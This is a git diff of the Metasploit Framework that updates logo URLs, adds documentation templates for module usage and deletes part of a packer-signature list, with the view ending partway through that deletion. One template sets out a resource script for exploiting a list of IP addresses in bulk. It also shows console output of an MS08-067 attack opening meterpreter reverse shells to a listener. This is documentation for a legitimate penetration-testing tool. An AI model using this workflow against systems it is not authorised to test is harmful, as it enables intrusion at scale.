| |______________________________________________________________________________|%clr diff --git a/data/logos/metasploit-shield.txt b/data/logos/metasploit-shield.txt index 41f1d971c7..81fc1d123c 100644 --- a/data/logos/metasploit-shield.txt +++ b/data/logos/metasploit-shield.txt @@ -18,4 +18,4 @@ %bluMMMMMMMMMMNm,%clr %blueMMMMMNMMNMM%clr %bluMMMMNNMNMMMMMNx%clr %bluMMMMMMNMMNMMNM%clr %bluMMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM%clr -%clr%bld http://metasploit.pro +%clr%bld http://metasploit.com diff --git a/data/logos/missile-command.txt b/data/logos/missile-command.txt index 5192490da2..e426174ad5 100644 --- a/data/logos/missile-command.txt +++ b/data/logos/missile-command.txt @@ -27,4 +27,4 @@ ################################################################################ # %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr # ################################################################################ - http://metasploit.pro%clr + http://metasploit.com%clr diff --git a/data/logos/ninja.txt b/data/logos/ninja.txt index 70a5317a24..c5efa481d5 100644 --- a/data/logos/ninja.txt +++ b/data/logos/ninja.txt @@ -27,4 +27,4 @@ # # ### # # ## ######################## ## ## ## ## - http://metasploit.pro%clr + http://metasploit.com%clr diff --git a/data/logos/r7-metasploit.txt b/data/logos/r7-metasploit.txt index f650282597..75ad39f706 100644 --- a/data/logos/r7-metasploit.txt +++ b/data/logos/r7-metasploit.txt @@ -1,7 +1,7 @@ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% % %%%%%%%% %%%%%%%%%%% http://metasploit.pro %%%%%%%%%%%%%%%%%%%%%%%%% +%% % %%%%%%%% %%%%%%%%%%% http://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%% %% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% diff --git a/data/logos/wake-up-neo.txt b/data/logos/wake-up-neo.txt index 1ee1779557..66e43bd1c0 100644 --- a/data/logos/wake-up-neo.txt +++ b/data/logos/wake-up-neo.txt @@ -23,4 +23,4 @@ ; ,''-,;' ``- ``-..__``--` - http://metasploit.pro%clr + http://metasploit.com%clr diff --git a/data/markdown_doc/auxiliary_scanner_template.erb b/data/markdown_doc/auxiliary_scanner_template.erb new file mode 100644 index 0000000000..409a7c9970 --- /dev/null +++ b/data/markdown_doc/auxiliary_scanner_template.erb @@ -0,0 +1,29 @@ +This module is a scanner module, and is capable of testing against multiple hosts. + +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS ip-range +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` + +Other examples of setting the RHSOTS option: + +Example 1: + +``` +msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS 192.168.1.3-192.168.1.200 +``` + +Example 2: + +``` +msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS 192.168.1.1/24 +``` + +Example 3: + +``` +msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS file:///tmp/ip_list.txt +``` diff --git a/data/markdown_doc/bes_demo_template.erb b/data/markdown_doc/bes_demo_template.erb new file mode 100644 index 0000000000..21c130dae2 --- /dev/null +++ b/data/markdown_doc/bes_demo_template.erb @@ -0,0 +1,15 @@ +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > run +``` + +This module is also supported by Browser Autopwn 2. + +To load it from Browser Autopwn 2, here's how: + +``` +msf > use auxiliary/server/browser_autopwn2 +msf auxiliary(browser_autopwn2) > set INCLUDE_PATTERN <%= mod.shortname %> +INCLUDE_PATTERN => <%= mod.shortname %> +msf auxiliary(browser_autopwn2) > exploit +``` \ No newline at end of file diff --git a/data/markdown_doc/default_template.erb b/data/markdown_doc/default_template.erb new file mode 100644 index 0000000000..a771f07991 --- /dev/null +++ b/data/markdown_doc/default_template.erb @@ -0,0 +1,50 @@ +## <%= items[:mod_name] %> +

+<%= normalize_description(items[:mod_description]) %> +

+ +## Module Name + +<%= Rex::Text.html_encode(items[:mod_fullname]) %> + +## Authors + +<%= normalize_authors(items[:mod_authors]) %> + +<% unless items[:mod_platforms].empty? %> +## Platforms +<%= normalize_platforms(items[:mod_platforms]) %> +<% end %> + +## Reliability + +<%= normalize_rank(items[:mod_rank]) %> + +## Related Pull Requests + +<%= normalize_pull_requests(items[:mod_pull_requests]) %> + +<% unless items[:mod_refs].empty? %> +## References + +<%= normalize_references(items[:mod_refs]) %> +<% end %> + +<% if items[:mod_targets] %> +## Available Targets + +<%= normalize_targets(items[:mod_targets]) %> + +<% end %> + +## Required Options + +<% if normalize_options(items[:mod_options]).empty? %> +No options required. +<% else %> +<%= normalize_options(items[:mod_options]) %> +<% end %> + +## Basic Usage + +<%= normalize_demo_output(items[:mod_demo]) %> \ No newline at end of file diff --git a/data/markdown_doc/generic_demo_template.erb b/data/markdown_doc/generic_demo_template.erb new file mode 100644 index 0000000000..fec7ccf244 --- /dev/null +++ b/data/markdown_doc/generic_demo_template.erb @@ -0,0 +1,9 @@ +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show targets + ... a list of targets ... +msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` \ No newline at end of file diff --git a/data/markdown_doc/html_template.erb b/data/markdown_doc/html_template.erb new file mode 100644 index 0000000000..bccb0f4b18 --- /dev/null +++ b/data/markdown_doc/html_template.erb @@ -0,0 +1,68 @@ + + +<% unless kb.empty? %> + +<% end %> + + + +<% unless kb.empty? %> + + + + +
+
Overview +
+
Knowledge Base +
+

+<% end %> +
+<%= r.render(md) %> +
+<% unless kb.empty? %> +
+<%= r.render(kb) %> +
+<% end %> + + \ No newline at end of file diff --git a/data/markdown_doc/httpserver_demo_template.erb b/data/markdown_doc/httpserver_demo_template.erb new file mode 100644 index 0000000000..3d5737a95d --- /dev/null +++ b/data/markdown_doc/httpserver_demo_template.erb @@ -0,0 +1,4 @@ +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` \ No newline at end of file diff --git a/data/markdown_doc/localexploit_demo_template.erb b/data/markdown_doc/localexploit_demo_template.erb new file mode 100644 index 0000000000..e7ac42287c --- /dev/null +++ b/data/markdown_doc/localexploit_demo_template.erb @@ -0,0 +1,14 @@ +Note: To run a local exploit, make sure you are at the msf prompt. +Also, to check the session ID, use the ```sessions``` command. + + +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show targets + ... a list of targets ... +msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type %>(<%= mod.shortname %>) > set SESSION session-id +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` \ No newline at end of file diff --git a/data/markdown_doc/markdown.css b/data/markdown_doc/markdown.css new file mode 100644 index 0000000000..2e6fd42b8a --- /dev/null +++ b/data/markdown_doc/markdown.css @@ -0,0 +1,253 @@ +h1, h2, h3, h4, h5, h6, p, blockquote { + margin: 0; + padding: 0; +} +body { + font-family: Arial, "Helvetica Neue", Helvetica, "Hiragino Sans GB", sans-serif; + font-size: 16px; + line-height: 18px; + color: #737373; + margin: 10px 13px 10px 13px; +} +a { + color: #0069d6; +} +a:hover { + color: #0050a3; + text-decoration: none; +} +a img { + border: none; +} +p { + margin-bottom: 16px; +} +h1, h2, h3, h4, h5, h6 { + color: #404040; + line-height: 36px; +} +h1 { + margin-bottom: 18px; + font-size: 30px; +} +h2 { + font-size: 24px; + margin-bottom: 16px; +} +h3 { + font-size: 18px; + margin-bottom: 16px; +} +h4 { + font-size: 16px; + margin-bottom: 16px; +} +h5 { + font-size: 16px; + margin-bottom: 16px; +} +h6 { + font-size: 13px; + margin-bottom: 16px; +} +hr { + margin: 0 0 19px; + border: 0; + border-bottom: 1px solid #eee; +} +blockquote { + padding: 13px 13px 21px 15px; + margin-bottom: 18px; + font-family:georgia,serif; + font-style: italic; +} +blockquote:before { + content:"\201C"; + font-size:40px; + margin-left:-10px; + font-family:georgia,serif; + color:#eee; +} +blockquote p { + font-size: 16px; + font-weight: 300; + line-height: 18px; + margin-bottom: 0; + font-style: italic; +} +code, pre { + font-family: Monaco, Andale Mono, Courier New, monospace; +} +code { + background-color: #eee; + color: rgba(0, 0, 0, 0.75); + padding: 1px 3px; + font-size: 13px; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; +} +pre { + display: block; + margin: 0 0 18px; + line-height: 16px; + font-size: 13px; + border: 1px solid #d9d9d9; + white-space: pre-wrap; + word-wrap: break-word; +} +pre code { + background-color: #fff; + color:#737373; + font-size: 13px; + padding: 0; +} +@media screen and (min-width: 768px) { + body { + width: 748px; + margin:10px auto; + } +} +#overview_info_button { + font-family:Arial, sans-serif; + font-size:16px; + padding:10px 5px; + border-style:solid; + border-width:1px; + border-color:#EEEEEE; + color:#C4C4C4; +} +#knowledge_base_button { + font-family:Arial, sans-serif; + font-size:16px; + padding:10px 5px; + border-style:solid; + border-width:1px; + border-color:#ccc; + color:#333; +} +#overview_info_button:hover, #knowledge_base_button:hover { + cursor: pointer; +} +#long_list { + height:280px; + overflow:auto; + border-style: solid; + border-width: 1px; + border-color: #ccc; +} + + +/* +Description: Foundation 4 docs style for highlight.js +Author: Dan Allen +Website: http://foundation.zurb.com/docs/ +Version: 1.0 +Date: 2013-04-02 +*/ + +pre code { + display: block; padding: 0.5em; + background: #eee; +} + +pre .decorator, +pre .annotation { + color: #000077; +} + +pre .attribute { + color: #070; +} + +pre .value, +pre .string, +pre .scss .value .string { + color: #d14; +} + +pre .comment { + color: #998; + font-style: italic; +} + +pre .function .title { + color: #900; +} + +pre .class { + color: #458; +} + +pre .id, +pre .pseudo, +pre .constant, +pre .hexcolor { + color: teal; +} + +pre .variable { + color: #336699; +} + +pre .javadoc { + color: #997700; +} + +pre .pi, +pre .doctype { + color: #3344bb; +} + +pre .number { + color: #099; +} + +pre .important { + color: #f00; +} + +pre .label { + color: #970; +} + +pre .preprocessor { + color: #579; +} + +pre .reserved, +pre .keyword, +pre .scss .value { + color: #000; +} + +pre .regexp { + background-color: #fff0ff; + color: #880088; +} + +pre .symbol { + color: #990073; +} + +pre .symbol .string { + color: #a60; +} + +pre .tag { + color: #007700; +} + +pre .at_rule, +pre .at_rule .keyword { + color: #088; +} + +pre .at_rule .preprocessor { + color: #808; +} + +pre .scss .tag, +pre .scss .attribute { + color: #339; +} \ No newline at end of file diff --git a/data/markdown_doc/payload_demo_template.erb b/data/markdown_doc/payload_demo_template.erb new file mode 100644 index 0000000000..ff6620a3aa --- /dev/null +++ b/data/markdown_doc/payload_demo_template.erb @@ -0,0 +1,8 @@ +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type %>(<%= mod.shortname %>) > generate +``` + +To learn how to generate <%= mod.fullname %> with msfvenom, please [read this](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom). \ No newline at end of file diff --git a/data/markdown_doc/post_demo_template.erb b/data/markdown_doc/post_demo_template.erb new file mode 100644 index 0000000000..a934269b06 --- /dev/null +++ b/data/markdown_doc/post_demo_template.erb @@ -0,0 +1,44 @@ +There are two ways to execute this post module. + +**From the Meterpreter prompt** + +The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post +module against that specific session: + +``` +meterpreter > run <%= mod.fullname %> +``` + +**From the msf prompt** + +The second is by using the "use" command at the msf prompt. You will have to figure out which +session ID to set manually. To list all session IDs, you can use the "sessions" command. + + +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type %>(<%= mod.shortname %>) > set SESSION session-id +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` + +If you wish to run the post against all sessions from framework, here is how: + +1 - Create the following resource script: + +``` + +framework.sessions.each_pair do |sid, session| + run_single("use <%= mod.fullname %>") + run_single("set SESSION #{sid}") + run_single("run") +end + +``` + +2 - At the msf prompt, execute the above resource script: + +``` +msf > resource path-to-resource-script +``` \ No newline at end of file diff --git a/data/markdown_doc/remote_exploit_demo_template.erb b/data/markdown_doc/remote_exploit_demo_template.erb new file mode 100644 index 0000000000..ea72c5480f --- /dev/null +++ b/data/markdown_doc/remote_exploit_demo_template.erb @@ -0,0 +1,99 @@ +**Using <%= mod.shortname %> against a single host** + +Normally, you can use <%= mod.fullname %> this way: + +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show targets + ... a list of targets ... +msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` + +**Using <%= mod.shortname %> against multiple hosts** + +But it looks like this is a remote exploit module, which means you can also engage multiple hosts. + +First, create a list of IPs you wish to exploit with this module. One IP per line. + +Second, set up a background payload listener. This payload should be the same as the one your +<%= mod.shortname %> will be using: + +1. Do: ```use exploit/multi/handler``` +2. Do: ```set PAYLOAD [payload]``` +3. Set other options required by the payload +4. Do: ```set EXITONSESSION false``` +5. Do: ```run -j``` + +At this point, you should have a payload listening. + +Next, create the following script. Notice you will probably need to modify the ip_list path, and +payload options accordingly: + +``` +<ruby> +# +# Modify the path if necessary +# +ip_list = '/tmp/ip_list.txt' + +File.open(ip_list, 'rb').each_line do |ip| + print_status("Trying against #{ip}") + run_single("use <%= mod.fullname %>") + run_single("set RHOST #{ip}") + run_single("set DisablePayloadHandler true") + + # + # Set a payload that's the same as the handler. + # You might also need to add more run_single commands to configure other + # payload options. + # + run_single("set PAYLOAD [payload name]") + + run_single("run") +end +</ruby> +``` + +Next, run the resource script in the console: + +``` +msf > resource [path-to-resource-script] +``` + +And finally, you should see that the exploit is trying against those hosts similar to the following +MS08-067 example: + +``` +msf > resource /tmp/exploit_hosts.rc +[*] Processing /tmp/exploit_hosts.rc for ERB directives. +[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes) +[*] Trying against 192.168.1.80 + +RHOST => 192.168.1.80 +DisablePayloadHandler => true +PAYLOAD => windows/meterpreter/reverse_tcp +LHOST => 192.168.1.199 + +[*] 192.168.1.80:445 - Automatically detecting the target... +[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English +[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX) +[*] 192.168.1.80:445 - Attempting to trigger the vulnerability... +[*] Sending stage (957999 bytes) to 192.168.1.80 +[*] Trying against 192.168.1.109 +RHOST => 192.168.1.109 +DisablePayloadHandler => true +PAYLOAD => windows/meterpreter/reverse_tcp +LHOST => 192.168.1.199 +[*] 192.168.1.109:445 - Automatically detecting the target... +[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown +[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English +[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX) +[*] 192.168.1.109:445 - Attempting to trigger the vulnerability... +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600 + +[*] Sending stage (957999 bytes) to 192.168.1.109 +[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600 +``` diff --git a/data/meterpreter/ext_server_android.jar b/data/meterpreter/ext_server_android.jar deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/data/msfpescan/identify.txt b/data/msfpescan/identify.txt deleted file mode 100755 index b290f4b363..0000000000 --- a/data/msfpescan/identify.txt +++ /dev/null @@ -1,3043 +0,0 @@ -[Name of the Packer v1.0] -signature = 50 E8 ?? ?? ?? ?? 58 25 ?? F0 FF FF 8B C8 83 C1 60 51 83 C0 40 83 EA 06 52 FF 20 9D C3 -ep_only = true - -[Crypto-Lock v2.02 (Eng) -> Ryan Thian] -signature = 60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 55 00 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 01 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 -ep_only = true - -[Exact Audio Copy -> (UnknownCompiler)] -signature = E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 -ep_only = true - -[FSG v1.00 (Eng) -> dulek/xt] -signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 51 FF FF FF 5F BB 28 ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 1C ?? ?? 00 00 00 00 00 00 00 00 -ep_only = true - -[FSG v1.10 (Eng) -> bart/xt] -signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB 27 ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 07 74 EF FE 07 75 06 47 FF 37 AF EB 09 FE 07 0F 84 1A ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 1B ?? ?? 00 00 00 00 00 00 00 00 00 -ep_only = true - -[FSG v1.30 (Eng) -> dulek/xt] -signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 -ep_only = true - -[FSG v1.31 (Eng) -> dulek/xt] -signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 97 33 C9 41 FF D3 13 C9 FF D3 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 5B 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 58 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 89 06 AD 85 C0 75 D9 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 88 01 00 00 -ep_only = true - -[FSG 1.31 -> dulek/xt] -signature = BE ?? ?? ?? 00 BF ?? ?? ?? 00 BB ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 -ep_only = true - -[FSG v1.33 (Eng) -> dulek/xt] -signature = BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 9D 8B D6 5E AD 48 74 0A 79 02 AD 50 56 8B F2 97 EB 87 AD 93 5E 46 AD 97 56 FF 13 95 AC 84 C0 75 FB FE 0E 74 F0 79 05 46 AD 50 EB 09 FE 0E 0F 84 ?? ?? ?? FF 56 55 FF 53 04 AB EB E0 33 C9 41 FF 13 13 C9 FF 13 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 54 01 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 01 00 00 6F 01 00 00 00 00 00 00 00 00 00 00 00 00 -ep_only = true - -[NoodleCrypt v2.00 (Eng) -> NoodleSpa] -signature = EB 01 9A E8 76 00 00 00 EB 01 9A E8 65 00 00 00 EB 01 9A E8 7D 00 00 00 EB 01 9A E8 55 00 00 00 EB 01 9A E8 43 04 00 00 EB 01 9A E8 E1 00 00 00 EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 9A E8 25 00 00 00 EB 01 9A E8 02 04 00 00 EB 01 9A E8 19 07 00 00 EB 01 9A E8 9C 00 00 00 EB 01 9A E8 9C 06 00 00 E8 00 00 00 00 0F 7E F8 EB 01 9A 8B F8 C3 E8 00 00 00 00 58 EB 01 9A 25 00 F0 FF FF 8B F8 EB 01 9A 0F 6E F8 C3 8B D0 EB 01 9A 81 C2 C8 00 00 00 EB 01 9A B9 00 17 00 00 EB 01 9A C0 0A 06 EB 01 9A 80 2A 15 EB 01 9A 42 E2 EE 0F 6E C0 EB 01 9A 0F 7E C0 EB 01 9A 8B D0 00 85 EB A5 F5 65 4B 45 45 00 85 EB B3 65 07 45 45 00 85 EB 75 C7 C6 00 85 EB 65 CF 8A 00 85 EB D5 FD C0 00 85 EB 7F E5 05 05 05 00 85 EB 7F 61 06 45 45 00 85 EB 7F -ep_only = true - -[PassLock 2000 v1.0 (Eng) -> Moonlight-Software] -signature = 55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 00 00 C7 43 60 01 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 83 EC 44 C7 04 24 44 00 00 00 C7 44 24 2C 00 00 00 00 54 FF 15 E8 61 40 00 B8 0A 00 00 00 F7 44 24 2C 01 00 00 00 74 05 0F B7 44 24 30 83 C4 44 89 43 56 FF 15 D0 61 40 00 E8 9E 00 00 00 89 43 4C FF 15 D4 61 40 00 89 43 48 6A 00 FF 15 E4 61 40 00 89 43 5C E8 F9 00 00 00 E8 AA 00 00 00 B8 FF 00 00 00 72 0D 53 E8 96 00 00 00 5B FF 4B 10 FF 4B 18 5F 5E 5B 5D 50 FF 15 C8 61 40 00 C3 83 7D 0C 01 75 3F E8 81 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 FF 15 D0 61 40 00 E8 3A 00 00 00 89 43 4C FF 15 D4 61 40 00 89 43 48 8B 45 08 89 43 5C E8 9A 00 00 00 E8 4B 00 00 00 72 11 66 FF 43 5A 8B 45 0C 89 43 60 53 -ep_only = true - -[PESpin v0.3 (Eng) -> cyberbob] -signature = EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 CB 2C 40 00 8B 42 3C 03 C2 89 85 D5 2C 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D E9 2C 40 00 53 8F 85 B6 2B 40 00 BB ?? 00 00 00 B9 75 0A 00 00 8D BD 7E 2D 40 00 4F 30 1C 39 FE CB E2 F9 68 3C 01 00 00 59 8D BD B6 36 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 1F 53 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D DC 2C 40 00 -ep_only = true - -[PeX v0.99 (Eng) -> bart/CrackPl] -signature = E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 